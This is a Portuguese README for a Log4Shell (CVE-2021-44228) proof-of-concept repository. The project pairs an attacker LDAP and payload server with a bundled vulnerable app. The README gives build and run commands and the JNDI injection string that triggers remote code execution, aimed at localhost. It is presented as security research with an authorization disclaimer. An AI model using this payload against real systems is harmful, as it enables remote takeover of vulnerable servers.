
Um PoC de Execução Remota de Código para Log4Shell (CVE-2021-44228)
Este repositório permite que pesquisadores de segurança experimentem a execução remota de código, oferecendo uma implementação de um servidor de ataque que carrega um exploit personalizado em uma aplicação vulnerável que contém log4j.
⚠️ A ferramenta destina-se à autoavaliação e deve ser usada apenas por pessoas autorizadas ou pesquisadores. Você deve testar somente sistemas nos quais tenha permissão ou autoridade explícitas. Se encontrar aplicações ou bibliotecas vulneráveis, pratique a divulgação responsável.
O CVE-2021-44228 funciona injetando uma string JNDI LDAP nos seus logs, o que faz com que o Log4j entre em contato com o servidor LDAP especificado em busca de informações adicionais. Em um cenário malicioso, o servidor LDAP pode então enviar código de volta para a máquina da vítima, o qual será executado automaticamente na memória.
O repositório contém dois subprojetos. O projeto attacker-server contém o código-fonte de dois servidores com threads. O primeiro é um proxy LDAP que recebe a solicitação inicial de um objeto LDAP. O segundo servidor é o servidor de payload que serve o Exploit (existente em Exploit.java) de volta para a aplicação vulnerável
Na raiz do projeto:
mvn clean install
Tanto o servidor quanto a aplicação vulnerável devem estar prontos.
Para carregar o servidor, execute:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Para acionar o RCE, execute
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Você pode alterar o payload malicioso sob demanda estendendo Exploit.java